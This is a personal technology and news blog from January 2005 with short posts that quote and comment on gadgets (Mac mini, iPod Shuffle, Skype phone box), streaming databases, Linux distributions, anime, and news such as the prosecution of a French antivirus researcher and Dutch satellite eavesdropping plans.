"Relational databases are one to two orders of magnitude too slow," says Stonebraker, who is chief technology officer at Streambase, a 25-person outfit based in Lexington, Mass. "Big customers have already tried to use relational databases for streaming data and dismissed them. Those products are non-starters in this market."

In a recent pilot program, Streambase was able to analyze 140,000 messages per second, while a leading relational database -- Stonebraker won't say which one -- could handle only 900 messages per second. Streambase has 12 customers now testing its software, all of them financial services companies that need to analyze rapid-fire ticker feeds and other streaming data.

Unlike traditional database programs, Streambase analyzes data without storing it to disk, performing queries on data as it flows. Traditional systems bog down because they first store data on hard drives or in main memory and then query it, Stonebraker says.

Wow, if someone open sources this it will reign in a whole new era of databases. Real time analyzing large chunks of data will be a reality.

Portable rotary cellphone

2005-01-21T09:51:00.000+01:00

Just saw this hack that turns an old rotary phone into a cell phone. Pretty cool. Pretty retro. Excerpt:

Yes, you read it right. Port-O-Rotary. We've gone and hacked into a rotary phone.

I find myself talking about nerd things with my friends and peers who could usually careless. Every once and a while, someone who really doesn't have a clue, says something so crazy, it makes you take a step back. I can't remember who had the idea of a rotary cell phone - needless to say it had something to do with quite a few rum and cokes. They didn't have a clue how to do it, they just thought it would be cool. So did I...

Why wouldn't it be cool to see a rotary phone, ringing, with no wires attached? It might mess with your brain a bit.

Turns out I am very glad there is no such thing as a cellular rotary phone - the dialing takes forever! And here in Colorado - on a 10-digit dialing system - you don't dare mess up the number.

So here it is - a portable cellular rotary phone - in all it's random glory!

Duchovny says yes to new X Files movie

2005-01-20T11:08:00.000+01:00

The Sun has an interesting interview with David Duchovny where they talk about all sorts of things X Files related, including the movie. According to him it will definately be made. Better yet, there will be a whole series of movies, Star Trek style. An excerpt:

THE truth is still out there - and X Files agents Mulder and Scully are on their way back to discover it.

In an exclusive interview David Duchovny, who played Fox Mulder in the cult sci-fi TV series for eight years, told us he and the shows creator Chris Carter are planning on making a sequel to their 1998 movie.

The 44-year-old said: "Its always been my desire to turn The X Files into a film franchise.

"Were hoping to get together just under a year from now and make another X Files movie.

"Chris is working on the script right now with Frank Spotnitz, who was one of the writers on the show.

"Gillian Anderson who played Dana Scully hasnt signed yet, but wed need to have her on board.

"When Ive talked to Chris about the film, weve both said we want to start filming in winter 2005 and bring it out in the summer of 2006."

Wow. I so hope he's right. I can't wait for a new movie. The rest of the interview is also interesting BTW, well worth a read.

Dutch Ministry of Defence to tap satellite communications

2005-01-19T17:06:00.000+01:00

I just read a piece at Bits of Freedom that the dutch MoD wants to buy land next to Xantics (daughter company of KPN Telecom) satellite ground station to listen into satellite communications. The article:

Het ministerie van Defensie is in onderhandeling met KPN-dochter Xantic over de aankoop van een terrein grenzend aan het Xantic satellietgrondstation in Burum (Friesland). Dat heeft een woordvoerder van Defensie bevestigd. Defensie wil op het terrein schotels bouwen om satellietverkeer af te luisteren. Het is niet uitgesloten dat Defensie de nieuwe schotels ook zal gebruiken om telecomdiensten af te luisteren die via het daarnaast gelegen Xantic terrein worden aangeboden. KPN heeft een 65% belang in Xantic.

Defensie is naarstig op zoek naar een lokatie waarop nieuwe schotels kunnen worden gebouwd voor de in 2003 opgerichte Nationale Sigint Organisatie (NSO). In Zoutkamp, waar Defensie al twee schotels heeft staan, wilde het ministerie het aantal uitbreiden tot 20 stuks. Omwonenden in Zoutkamp hebben echter met succes de toestemming tot uitbreiding ongedaan gemaakt via de Raad van State.

In een uitspraak op 22 december 2004 heeft de Raad van State beslist dat het bestemmingsplan in Zoutkamp ten onrechte een onbeperkt aantal schotels toestaat. Ook heeft Defensie te weinig onderzoek gedaan naar de veiligheidsgevolgen van de uitbreiding. De omwonenden zijn bang dat de schotels doelwit kunnen vormen van terroristische aanslagen. Defensie blijkt geen specifieke analyse te hebben gemaakt van de veiligheidsrisico's van het schotelpark. "Naar ter zitting is medegedeeld is er in de analyse van uitgegaan dat het risico van militaire objecten uitsluitend is gelegen in de aanwezigheid van kostbare apparatuur. Gelet op de beoogde functie van de schotels, namelijk het gebruik daarvan als afluisterapparatuur in het kader van terrorismebestrijding, kon de beoordeling van het veiligheidsrisico niet uitsluitend worden gebaseerd op de kostbaarheid van de apparatuur, maar had ook die functie daarin dienen te worden betrokken."

Defensie hoopt in Burum op minder procedurele problemen omdat het bestemmingsplan aldaar is toegesneden op het Xantic satellietgrondstation. Dat grondstation werd in 1976 gebouwd door de toenmalige PTT. Vooruitlopend op de aankoop van het terrein heeft Defensie een bouwvergunning aangevraagd. Volgens ambtenaren van de gemeente is de toestemming voor deze bouwvergunning nog slecht een formaliteit. Omwonenden in Burum zijn nu ook in actie gekomen en hebben bezwaarschriften ingediend.

Op 2 december presenteerde NSO project-leider Kolonel van Nassau de plannen in de gemeenteraad van Kollumerland (waar Burum onder valt). "Ondanks dat de mogelijkheid om Defensie een deel van het Telecom-terrein Burum te laten gebruiken geen bestemmingsplanwijziging vereist en het college het daarmee zelf kan afhandelen, worden de raadsleden toch geïnformeerd middels een presentatie door Kolonel A.V.C.M. van Nassau (MIVD/defensie)." Of Defensie alsnog een specifieke veiligheidsanalyse heeft gemaakt blijft ongenoemd. In elk geval ziet het ministerie geen gevaar. "Het CDA vraagt of het risico op terroristische aanslagen hierdoor groter zal worden. Kolonel van Nassau antwoordt dat dit niet het geval is."

De NSO is opgericht door de AIVD en MIVD voor het afluisteren van satellietverkeer. Het Kabinet wil de NSO echter verzelfstandigen zodat een derde geheime dienst ontstaat in Nederland. In een convenant tussen de AIVD en de MIVD staat dat de NSO de volgende technische ondersteuning gaat geven:

a. Ondersteuning met ongerichte interceptie van satellietverkeer
b. Ondersteuning met search-activiteiten gericht op satellietverkeer
c. Ondersteuning met gerichte interceptie van satellietverkeer

Airbus A380 superjumbo to be unveiled today in France

2005-01-18T11:30:00.000+01:00

Yup, it's finally being unveiled today (18-1-2005). An excerpt:

The world's largest passenger plane, the Airbus A380, is being formally unveiled in France.

The twin-deck aircraft can carry about 555 people - more than its American competitor, the Boeing 747 jumbo jet.

Chief executive Noel Forgeard said he expected sales to comfortably exceed 250, the number required for the huge aerospace project to break even.

The firm hopes to sell more than 700 of the aircraft and is in talks about selling the plane to China.

For specs check this out:

This thing just looks magnificent. After technologically taking a leap back by discarding the Concorde, aviation is finally going forward. I can't wait to fly in one of these babies.

Don't touch my shit

2005-01-17T18:47:00.000+01:00

Today some degenerate human beings stole my car radio. The only console I have is that I wasn't the only one. While reporting it at the police station I found out that my whole street had been ripped off. At least on the plus side my car wasn't ruined, unlike the rest of the neighbourhood who's car locks all have to be replaced.

But, seeing as the Chinese word for crisis also consists of the sign for opportunity I see a plus side to this. (start fanfare) Namely that it's time to buy a new radio for my car (end fanfare). Right now I'm think about either one of these two:

Pioneer DEH-P3600mpb

Clarion CXZ548RMP

However I can't decide at the moment. As soon as I've made my choice the people who read this blog will be the first to know ;-).

PS Yes, I am bored at the moment and realize that nobody gives a shit about my new car stereo.

Use Skype with your normal phone

2005-01-17T11:44:00.000+01:00

Yup, looks like someone has finally created a box to hook your phone up to your computer so you can use it with Skype. Excerpt:

Put the telephone back in Internet telephony! The Actiontec Internet Phone Wizard combines the best of both worlds – the ease and convenience of your regular phone and the zero cost of Internet calls. Until now, you had to sit in front of your computer and wear uncomfortable headsets to make Internet calls. Or you had to choose between completely separate user experiences between using a regular phone or Internet phone. The Internet Phone Wizard with Skype makes all of these problems a thing of the past. Simply connect your computer to the Internet, pick up your phone,and begin dialing as you’ve always done - without any worry of a huge phone bill. The Internet Phone Wizard with Skype makes it easy and fun to call any Skype user in the world for free, and everyone else at low SkypeOut rates.

Wow, to quote Will Smith: "I gotta get me one of these".

Overclock your calculator

2005-01-17T11:35:00.000+01:00

Seems that someone has taken the time to write a HOWTO on overclocking your Texas Instruments calculator. An excerpt:

Expansion and upgrades are becoming more and more popular as knowledge about the internal workings of the TI graphing calculators continues to grow. Years ago I accelerated my own TI-85 (original instructions by Boris Lutz and Keith L. Miller). Curently, the TI-81, TI-82, TI-83, TI-85, TI-86, TI-89, TI-92,a nd TI-92 Plus can be accelerated. The 81, 85 and 86 can be accelerated to approximately 2-3x their normal speed, about 18 MHz. The TI-82 and TI-83 can also be accelerated to about 1.5-2x normal speed. They only about double their speed to around 12 MHz. The TI-89 and 92 can be accelerated to around 20 MHz!

My TI is just gathering dust at the moment. Could be a nice project for a rainy day.

American commandos in Iran

2005-01-17T11:24:00.000+01:00

The BBC reports a disturbing piece on possible American special forces already inside Iran. Excerpt:

The American investigative journalist Seymour Hersh has claimed that US commandos are operating inside Iran selecting sites for future air strikes.

In the latest edition of the New Yorker, Hersh says intelligence officials have revealed that Iran is the US' "next strategic target".

Hersh says that American special forces have conducted reconnaissance missions inside Iran for six months.

Potential targets include nuclear sites and missile installations, he says.

They have been aided by information from the government of Pakistan, Hersh adds.

He reports as well that American special forces units have been authorised to conduct covert operations in as many as 10 nations in the Middle East and South Asia.

If this is true this is VERY disturbing news. If Amercian's think that Iraq is hell, wait until they get a taste of Iran.

In contrast to Iraq, Iran has an army 100% loyal to their leadership. A lot of them also have 8 years battle experience from the Iran-Iraq War. Also another crucial point is that Iran hasn't been crippled by 12 years of sanctions.

If the Americans dare attack Iran the Shia's in Iraq won't be too happy either. Neither will Muslims the whole world over. I REALLY hope this isn't true, and that someone stops Bush and his cronies before they can do something like this and further push the world into chaos.

The greatness of Debian with the optimization of Gentoo

2005-01-15T15:27:00.000+01:00

For the past few months I've been playing with Gentoo as my workstation OS. This after being a die hard Debian fan for years.

The reason I've made the switch is Gentoo Portage system. Being modelled after the BSD ports system I LOVE it. Also, it's other plus point is being able to compile stuff optimized for you system.

Debian I love for it's clean & lean(for linux anyway) system & apt-get. While apt-get isn't as extensive as ports, it's much more convinient to use, and keeps your system up to date very well.

Well I have now seen the light. There's now an app called apt-build. For more information check out this excerpt:

Since the arrival of the very first versions of Gentoo, some people have announced that "Debian is good, but that's not optimized for [distribution in which you run make all the time]". And this is wrong, you are free to recompile software you use on Debian, using the apt system. Downloading a tarball, uncompressing it, running configure scripts and make install, is an easy task for every Linux user, but this is not adapted for the Debian package management system. Stow was a way which worked without too much effort, but compiled programs were not really integrated in the apt dependancies. The ultimate solution is to use apt-build to recompile a software already packaged for Debian.

The article further explains how to configure and use the said app. If this really works this well I think I'll be moving back to Debian soon, as Gentoo sometimes still feels a bit too messy to me.

First iPod Shuffle review I could find

2005-01-13T13:04:00.000+01:00

Engadget has just written a review on the iPod Shuffle. As it doesn't have much functionality, the review isn't that long. Their conclusion:

Now that it's all charged up and we've had a chance to use it, here's a few initial impressions:
We love Autofill. It makes the shuffle even more random since you never even know what will wind up on your Shuffle. Sure, you can narrow it down to music from a playlist, or do it all manually, but where's the fun inthat?
We're spoiled by Firewire. The USB 2.0 moved the songs onto the iPod Shuffle pretty quickly, but it's not the song per second speed of the regular iPod over Firewire.
Apple claims 120 songs probably fit on the 512 MB version. We managed to fit 110, but we have lots of 160 and 192 kbps mp3 files.
This thing is tiny - and light. You'll never feel it around your neck or in your pocket. It's like a stick of gum, not a pack. Just be sure not to leave it in your jeans when you wash them.
The controls take a second or two to get used to, then you never think about them again.

The sound is great. It's easily as loud and seems to be more clear with better bass response than our 3G iPod.

A nice overview about Asterisk

2005-01-13T12:52:00.000+01:00

George Ou has written an nice overview in his column on Asterisk. An excerpt:

As the commoditization and open sourcing of operating systems and applications continue to disrupt the software companies, telephony vendors have so far enjoyed a relative calm in the closed and proprietary phone systems market with substantial profit margins. That could now all be turned on its head with the proliferation of open source VoIP and PBX software. There are now a handful of these open source telephony platforms such as OpenPBX and Pingtel, but one of the most interesting is Asterisk, which even has its own communication protocol IAX in place of SIP for unified signaling and data transport.
.....
Although it’s easy to think of Asterisk as just another VoIP server, that couldn’t be further from the truth. Asterisk is an extremely flexible communications platform that can serve as a VoIP Signaling Server, a Media Gateway (allows IP telephony to interface with analog phones, fax machines, or PSTN lines), a traditional analog or TDM-based PBX phone system, voice mail, IVR, Unified Messaging, and too many other things to list! For example, you can build a phone system that can support 72 analog telephones or fax machines, 100 IP hard or soft phones on site or remote, a T1 line to the public telco for 23 simultaneous external PSTN connections, multiple IP-based IAX trunks to multiple remote offices for seamless toll-bypass 4-digit dialing, IVR, and almost unlimited voice mail for everyone – for under $6,000 in a 1U chassis. Such a price point is easily 10 or more times cheaper than a commercial alternative. Here is a graphic illustration of such a system

Asterisk is a very cool piece of software. No doubt a lot of asterisk based voip providers will pop up this year. I can't wait to get some free time to play with it.

Dutch firefox ad campaign

2005-01-12T13:30:00.000+01:00

Some people in Holland are collecting money for a firefox ad in the Dutch newspaper, "De Telegraaf" to heighten firefox awareness. The idea of course is inspired by the succesfull ad placed in the New York Times.

The cost of the Ad is about 53.000 euros for a single page colour advertisement and 36.000 euros for a black & white one. At the time of typing they've collected 455,58 euros, so they still have a long way to go. Only for open source would people go this far....

Mac mini mini review

2005-01-12T12:49:00.000+01:00

Looks like the guys at arstechnica have written the first review I could find on the Mac mini. Here follows an excerpt from the conclusion and the benchmark used:

It's clear that the xMac performs considerably faster than both my iBook, which cost me $200 more than an xMac, and nearly as fast as my wife's PowerBook, which cost four times as much and is less than a year-old (and that makes me want to cry). Beyond that, it appears that Timothy McVeigh would have enough time for an orgasm before dying, if someone who likes doing “jobs” could help him out, and, as always, benchmarks really only matter to people who argue about computers.

This is going to be a good year for Apple

2005-01-12T10:38:00.000+01:00

The year has just started and already apple is about to release two mouth watering pieces of hardware.

First of all the the much anticipated Mac mini which I have written about before:

Here are some specs:

Processor and memory

1.25GHz or 1.42GHz PowerPC G4 processor with Velocity Engine
512K on-chip level 2 cache at full processor speed
167MHz system bus
256MB of PC2700 (333MHz) DDR SDRAM, expandable to up to 1GB⁵

Storage

40 or 80GB Ultra ATA hard disk drive¹
One of the following optical drives:
- Slot-loading Combo drive (DVD-ROM/CD-RW): reads DVDs at up to 8x speed, writes CD-R discs at up to 24x speed, writes CD-RW discs at up to 16x speed, reads CDs at up to 24x speed
- Optional SuperDrive (DVD±RW/CD-RW): writes DVD-R discs at up to 4x speed, writes DVD-RW discs at up to 2x speed, writes DVD+R discs at up to 4x speed, writes DVD+RW discs at up to 2.4x speed, reads DVDs at up to 8x speed, writes CD-R discs at up to 16x speed, writes CD-RW discs at up to 8x speed, reads CDs at up to 24x speed

Audio

Built-in speaker
Headphone/Audio Line-out jack

Graphics support

ATI Radeon 9200 graphics processor with AGP 4X support
32MB of dedicated Double Data Rate (DDR) video memory

Video

DVI video output for digital resolutions up to 1920 x 1200 pixels; supports 20-inch Apple Cinema display and 23-inch Apple Cinema HD display; supports coherent digital displays up to 154MHz; supports non-coherent digital displays up to 135MHz
VGA video output (using included adapter) to support analog resolutions up to 1920 x 1080 pixels
S-video and composite video output to connect directly to a TV or projector (requires Apple DVI to Video Adapter, sold separately)

Peripheral connections

One FireWire 400 port; 8 watts
Two USB 2.0 ports (up to 480 Mbps) on computer

Communications

Built-in 56K V.92 modem (RJ-11 connector)
Built-in 10/100BASE-T Ethernet (RJ-45 connector)
Optional internal 54-Mbps AirPort Extreme Card (based on IEEE 802.11g standard; Wi-Fi Certified for 802.11g and 802.11b interoperability)³
Optional internal Bluetooth module

Size and weight

Height: 2 inches (5.08 cm)
Width: 6.5 inches (16.51 cm)
Depth: 6.5 inches (16.51 cm)
Weight: 2.9 pounds (1.32 kg)⁴

At 499 euros, I really hope that this performs decently with OSX doing day to day stuff as this would definatley make a sweet workstation. I guess we'll have to wait until the first reviews trickle out until we find out.

Also released is Apples new iPod shuffle, a flash based mp3 player the size of a pack of chewing gum. The thing doesn't have a display and plays songs in a random order every time you switch it on. Specs follow:

Capacity

512MB or 1GB USB flash drive
Holds 120 or 240 songs in 128-Kbps AAC format
Stores data via USB flash drive

Audio

Skip-free playback
Frequency response: 20Hz to 20,000Hz
MP3 (8 to 320 Kbps), MP3 VBR, AAC (8 to 320 Kbps), Protected AAC (from iTunes Music Store, M4A, M4B, M4P), Audible (formats 2, 3 and 4) and WAV
Upgradable firmware enables support for future audio formats

Headphones

Earbud-style headphones with 18-mm drivers using Neodymium transducer magnets
Frequency response: 20Hz to 20,000Hz
Impedance: 32 ohms

At 99 euros for the 512 MB version (and 149 for the 1 Gig version) the price isn't bad at all. If it proves stable enough I will definately get one of thes e for jogging.

All in all I presonally can't wait to get my hands on these two toys :-)

The $100.000.000 identity heist

2005-01-12T09:40:00.000+01:00

The BBC reports that Philip Cummings, a 35 year old British national has been sentenced to 14 years imprisonment for identity fraud. This for information he got as a computer helpdesk employee. An excerpt:

A Briton involved in what is believed to be the largest identity theft case ever has been sentenced to 14 years in prison by a New York judge.

Philip Cummings, 35, used his job as a computer helpdesk employee to steal personal information from more than 30,000 unwitting customers.

He passed credit card and other stolen details on to other criminals.
......
Losses have been estimated to be between $50m (£38m) and $100m (£76m).

Cummings, who is still free on bail, must report to prison on 9 March. He is also due to pay compensation to be agreed at a later date.

This just goes to show how many (sometimes not so honest) people you have to share your data with in todays world. I suspect this sort of thing will just get worse as we keep shipping these sorts of jobs overseas.

The less people are paid and the farther away they are from the people they could rip off, the more they are inclined to do it. This is human nature.

Hi, Im Troy McClure. You may remember me from such educational videos as "don't point lasers at airplanes"

2005-01-11T14:54:00.000+01:00

Seems that Sky & Telescope have written an article on the do's & dont's of pointing lasers in the sky. This of course, referring to the "terrorist threat" we are now seeing form the humble laser pointer. An excerpt that shows how FUD works at it's best:

A recent addition to the backyard astronomer's toolkit has been flagged as a potential weapon in the terrorist's arsenal. The humble laser pointer, used by thousands of skygazers to show beginners the way to stars and constellations, is coming under fire from US federal and state authorities following several recent incidents in which laser beams have "painted" aircraft in flight.

In the most notorious case, on January 4, 2005, a New Jersey man was arrested after allegedly shining a laser at a small passenger jet on approach to a nearby airport. The suspect claims he had been showing his daughter around the night sky, using his laser pointer to direct her gaze at particular stars and planets. Now he faces a possible jail term and six-figure fine. The incident sparked a media frenzy, with many articles appearing alongside other news from the War on Terror.

This sort of thing really makes me question peoples intelligence. How people just swallow the tripe without using common sense I will never know. Anyway, just for all the clueless masses out there, some obvious don'ts for laser pointing:

Laser pointers are designed to illuminate inanimate objects. Never shine a laser pointer toward any person, aircraft, or other vehicle. Never look directly into the beam of a laser pointer of any type.

Do not allow children to use a pointer unsupervised. Laser pointers are not toys. If your telescope is equipped with a laser pointer that has a "constant-on" setting, do not leave the instrument unattended with the laser switched on.

Do not aim a laser pointer toward mirrors or other shiny surfaces. The reflected beam may inadvertently strike someone in the eye.

Do not aim a laser pointer skyward if you hear or see an aircraft of any kind flying overhead.

Be aware of irresponsible uses of pointers so that the psychological effect will be minimized if you happen to be illuminated by one.

Do not purchase a laser pointer if it does not have a "caution" or "danger" sticker on it identifying its class. Report suspicious devices to the authorities.

Find a bug, go to jail

2005-01-11T13:08:00.000+01:00

French security researcher Guillaume Tena, who is working at Harvard University, faces 4 months in prison after being sued by Tegam for reverse engineering its Viguard antivirus software and publishing exploit codes for a number of vulnerabilities. According to a ZDNet article, he could also be sued by Tegam for 900,000 euros in damages. An excerpt from the article:

A French security researcher who published exploit codes that could take advantage of bugs in an anti-virus application, could be imprisoned for violation of copyright laws.

In 2001, French security researcher Guillaume Tena found a number of vulnerabilities in the Viguard antivirus software published by Tegam. Tena, who at the time was known by his pseudonym Guillermito, published his research online in March 2002.

However, Tena's actions were not viewed kindly by Tegam, who initiated legal action against the researcher. That action resulted in a case being brought to trial at a Court in Paris, France. The trial kicked off on January 4 after being deferred from its initially scheduled start date of October 5, 2004. The prosecution claims that Tena violated article 335.2 of the code of the intellectual property and is asking for a four month jail term and a 6,000 euro fine. Additionally, Tegam is proceeding with a civil case against Tena and asking for 900,000 euros in damages.

This is REALLY going the right way. Point out someone elses mistakes and you go directly to jail. When will the law overcome stupidity and stop wasting time with stuff like this?

If someone points out a building is about to collapse because of its design wouldn't people be outraged is he/she was fined? People need to learn that reverse engineering software for finding exploits iis the same thing. I can only see this sort of thing getting worse....

Martian Successor Nadesico Review

2005-01-10T04:05:00.000+01:00

Today I just watched the final part of Martian Successor Nadesico (for all you anime people : Yes, I know, I should be ashamed that I haven't seen it until now). A brief description of the plot follows:

The aliens have destroyed our base on Mars, wiped out our space fleets, and now, only one ship stands between Earth and total annihilation! Disgusted by the incompetence of Earth's military, the independent arms manufacturer Nergal has built its own space battle cruiser. But due to the shortage of trained soldiers, they've had to assemble the most unorthodox crew to ever launch into orbit. With a cook who's also a pilot and an Admirals's daughter in command, the new starship is the most formidable fighting vehicle ever conceived. But before it can see action against the Jovian invaders, the crew must win their first victory against their own species as they fight off a ruthless attempt by Earth's military to seize the Nadesico! Get ready for the wildest space adventure ever in the amazing new series that was voted the "Best Anime Show Of All Time"* by Japanese animation fans, MARTIAN SUCCESSOR NADESICO!

All in all an excellent series. The parodies of mecha series (it even parodies itself on occasion) are hillarious. After watching Neon Genesis for the 2nd time it was nice to watch something upbeat and funny. If you're looking for a funny anime or want to introduce one of your friends to anime you could do a lot worse than show him/her this. A full 5/5. Excellent.

IPOD your ride

2005-01-07T11:44:00.000+01:00

While there are already several options for iPod owners who want to listen to tunes in their cars — ranging from cheapo FM transmitters and casette adaptors to the infamous tricked-out BMW — the market is about to get a whole lot more crowded.

Pioneer, Clarion and Alpine are all at CES showing off new direct-connect units that will work with new and existing car audio systems.

Prices will range from as little as $100 to as much as $2,000 for Clarion’s previously announced VRX755VD (an update to its current iPod-incompatible VRX745VD), which will include a 7-inch touchscreen that will display song information, playlists and, presumably, a warning that motorists should keep their eyes and hands off of it while driving.

Three words: Yes, yes & yes again :-)

FMKit Home FM Broadcast Transmitter

2005-01-07T11:31:00.000+01:00

Technocract.net has written a review of a 100 miliwatt transmitter meant for home use. With this thing you can transmit whatever's on your PC all around the block. Quite cool I must say. An excerpt:

The unit is made by FMKit and sold on eBay. It was shipped via priority mail and arrived very quickly. It's specified as having an output of over 300 miliwatts, which would put it outside of Part 15 regulations in the U.S. Not wanting to get in a hassle with the FCC that could lose me my ham license, I used a menu setting to turn it down to 100 mW.

It broadcasts in stereo or mono. Selecting mono will turn off the 19 KHz stereo pilot and increase the range a bit. Frequency, power level, audio input levels, AGC, and stereo pilot level can all be set via memu, and there are 4 stored frequencies.

Kodak to come up with wifi digital camera

2005-01-06T10:10:00.000+01:00

Looks like Kodak is about to release a digital camera with wifi capacity:

EasyShare-One is an innovative new camera for Kodak that gives its users the ability to share images via Wi-Fi enabling online and email picture sharing without a computer. It is a 4 megapixel camera with a large 3 inch swivel touch screen display and 3x Optical Zoom. The Easyshare-One features VGA video mode (30 frames per second) as well as storage of up to 1500 downsized favorite images on its 256 megabytes of internal memory.

The Kodak Easyshare-one will be in stores in June of 2005 and will be priced at $599. More details will be released closer to its release but in the mean time learn more about the Easyshare-one from Kodak from their news release which is following.

Of course, to actually get on a wireless network, a special card is required for the camera, and the firmware has yet to support WEP, so one has to wait until a Q3 2005 update to join most authenticated networks. Still this is one cool gadget.

US troops 'laughed as Iraqi died'

2005-01-06T10:04:00.000+01:00

Another report of the worst possible American behaviour in Iraq:

An Iraqi civilian has testified that US soldiers forced him and his cousin to jump into the River Tigris and laughed as his relative was swept to his death.

"He was calling my name, said: 'Help me! Help me!'" Marwan Fadel Hassoun told a military trial in Texas.

Three words: Hang the bastard. Just shows how the American Army tolerates psychopaths. While I'm sure they're not all this bad, how come this sort of thing hardly happens with troops of other nationalities?

Hitachi Plans 500-Gigabyte Hard Disk, Largest Ever

2005-01-06T09:58:00.000+01:00

Looks like Hitachi is planning to release a whopping 500 GB Hard Disk in the first quarter of this year. This would be the biggest till now! Excerpt:

Hitachi, the world's No. 2 maker of hard drives, is looking to propel its 3.5-inch line of drives commonly used to store desktop computer files into new markets for storing massive quantities of data captured by personal video recorders.

But instead of the 40 hours of video, on average, that a standard 80-gigabyte hard-drive might store in a Tivo-type digital video recorder, the new drives can hold 200 hours -- half a terabyte, or more than 500 billion bits of data.

Soon a videolan server to stream all my DVDs in full quality could be feasible ;-)

Debt relief could help tsunami disaster victims

2005-01-05T11:26:00.000+01:00

The BBC has a story on how debt relief could help countries in the disaster region in Asia rebuild their economy (duh). An excerpt:

UK Chancellor Gordon Brown wants the world's richest nations to freeze foreign debt repayments for countries hit by the Asian tsunami disaster.

The move would allow countries such as Thailand, India, Indonesia and Sri Lanka to focus money on reconstruction.

Mr Brown said that "we're talking initially about $3bn (£1.58bn) in debt repayments each year by the most affected countries".

The figures for these countries are just astounding:

Indonesia $132.2bn
India $104.4bn
Thailand $59.2bn
Malaysia $48.6bn
Sri Lanka $9.6bn
Somalia $2.7bn
Seychelles $560m
Maldives $270m

Especially when compared to % of national annual income:

Indonesia 80%
India 21%
Thailand 48%
Sri Lanka 59%
Maldives 45%

The worst part is that most of these debts were incurred by dictators in times past to finance their greed. If there is to be fair world trade this problem has to be dealt with.

Richard Stallman interviewed on Kerneltrap

2005-01-04T16:29:00.000+01:00

KernelTrap has a fascinating and lengthy interview with Richard Stallman.

If you don't know who this guy is, he's the one who founded the GNU Project in 1984, and the Free Software Foundation in 1985. He also originally authored a number of well known and highly used development tools, including the GNU Compiler Collection (GCC), the GNU symbolic debugger (GDB) and GNU Emacs. The interview covers a wide range of topics, from rms's early years, to his current role in the Free Software Foundation. He discusses the current state of GNU/Hurd, the problems with non-free software, and much more. Read it and see what the father of free software has to say.

ATM inventor gets his kudos

2005-01-04T10:17:00.000+01:00

Seems that the guy who invented the ATM machine has finally been honoured, at 79 years old. Well, better late then never. An excerpt:

The De La Rue Automatic Cash System took in cheques impregnated with Carbon 14, which were bought in advance from a bank teller, and exchanged them for cash.

Each cheque was chemically coded to identify between customers so money could be taken from the correct bank account.

Mr Shepherd-Barron went on to supervise the installation of the machines in Switzerland, Philadelphia and Japan.

There are now an estimated 800,000 cash machines across the world, and De La Rue still produces about one in every five.

Peter Molyneux to be knighted

2005-01-03T21:50:00.000+01:00

Yup, legendary game designer Peter Molyneux is to be knighted. Game designers are finally getting their due.

For those without a clue here are a few of his games:

Fable
Black & White
Dungeon Keeper
Magic Carpet
Theme Park
Syndicate
Populous

I couldn't think of anyone who deserves it more (well, maybe David Braben). I still fondly remember all the hours of fun I had playing Syndicate. Now for the first programmer to be knighted ;)

Bandwidth to kill Microsoft

2005-01-03T10:33:00.000+01:00

The EveryBody Is Crazy blog writes that bandwidth is what's going to kill Microsoft in the end, as it is still making client centric software. While I don't agree with all that he says, he makes some good points.

An excerpt:

At present, we find ourselves in a situation unprecedented in all history – the average person, in charge of a machine of such complexity that it can calculate anything he or she would want to know in mere seconds. This is almost an untenable situation; this average person often has no idea how to fix the computer when it breaks, and no idea even how to perform the most basic maintenance on it to prevent such breakage. It’s also vulnerable to hackers, phishing schemes, and hosts of other plagues.

With a car, for instance, this exposure to complexity is a necessary state of affairs. With inevitably increasing bandwidth, this is definitely not a necessary state of affairs for computers, and the time of the personal computer as we know it will soon be at an end, I think.

Most users have no desire to be the system administrators of their machines, and would gladly turn that task over to someone else for a nominal fee. As bandwidth increases, telcos, cable companies, and others will be in the perfect position to become application service providers for the average home user, and said average home user will gladly accept this, as long as the price isn’t too high. I see this as almost inevitable.

With caching, smart usage of bandwidth, latency reduction strategies, etc., most users would hardly notice the difference between an application being provided remotely over a high-bandwidth connection and being provided locally by a spyware- and virus-infested home PC with inadequate memory.

In fact, given the above conditions, and a high-bandwidth connection, the ASP might actually seem faster to many users.

Safe cracking HOWTO

2005-01-02T11:29:00.000+01:00

It seems that Matt Blaze (of NSA Clipper Chip fame) has written a paper on how safe security works and how safe techniques could help computer security. An excerpt:

This paper is a general survey of safe and vault security from a computer science perspective, with emphasis on the metrics used to evaluate these systems and the weaknesses that cause them to fail. We examine security against forced, covert and surreptitious safe opening, focusing on the mechanical combination locks most commonly used on commercial safes in the US. Our analysis contrasts the philosophy and tools of physical security with those of information security, especially where techniques
might be profitably applied across these disciplines.

Well, there goes another case of how security through obscurity doesn't work.

Mossad fuckup revealed

2005-01-01T20:51:00.000+01:00

The BBC reports that papers released from the Naional Archives in London reveal that Mossad screwed up a political murder 30 years ago. An excerpt:

Papers released at the National Archives in London have revealed the details of a political murder by Israeli secret services 30 years ago.

A Moroccan catering worker was killed in Lillehammer, Norway, by two Israelis who had got out of a car beside him.

They thought they were killing Ali Hassan Salame, the Palestinian behind the killing of 11 Israeli athletes at the 1972 Munich Olympics.

Secret papers from 1974 reveal how the Israelis killed the wrong man.

The papers have just been released by the UK Foreign Office.

The man who was killed, Ahmed Bouchikhi, had been living in Lillehammer for nine years and his wife, Torill Larsen, a local woman, was expecting their child.

It continues to make me sick how Mossad can continue to get away with these acts. If any other country did the same thing and it was made public there would be a public outroar.

Animals seem to be able to "sense" Tsunami

2005-01-01T14:22:00.000+01:00

Wired writes that animals seem to be able to sense when natural disasters are about to happen. No dead animals from the Tsunami have been found yet in Sri Lanka. An excerpt:

JOHANNESBURG -- Wild animals seem to have escaped the Indian Ocean tsunami, adding weight to notions they possess a sixth sense for disasters, experts said Thursday.

Sri Lankan wildlife officials have said the giant waves that killed over 24,000 people along the Indian Ocean island's coast seemingly missed wild beasts, with no dead animals found.

"No elephants are dead, not even a dead hare or rabbit," said H.D. Ratnayake, deputy director of Sri Lanka's Wildlife Department. "I think animals can sense disaster. They have a sixth sense. They know when things are happening."

The waves washed floodwaters up to two miles inland at Yala National Park in the ravaged southeast, Sri Lanka's biggest wildlife reserve and home to hundreds of wild elephants and several leopards.

"There has been a lot of anecdotal evidence about dogs barking or birds migrating before volcanic eruptions or earthquakes. But it has not been proven," said Matthew van Lierop, an animal behavior specialist at Johannesburg Zoo. "There have been no specific studies because you can't really test it in a lab or field setting."

Other authorities concurred with this assessment. "Wildlife seem to be able to pick up certain phenomenon, especially birds ... there are many reports of birds detecting impending disasters," said Clive Walker, who has written several books on African wildlife.

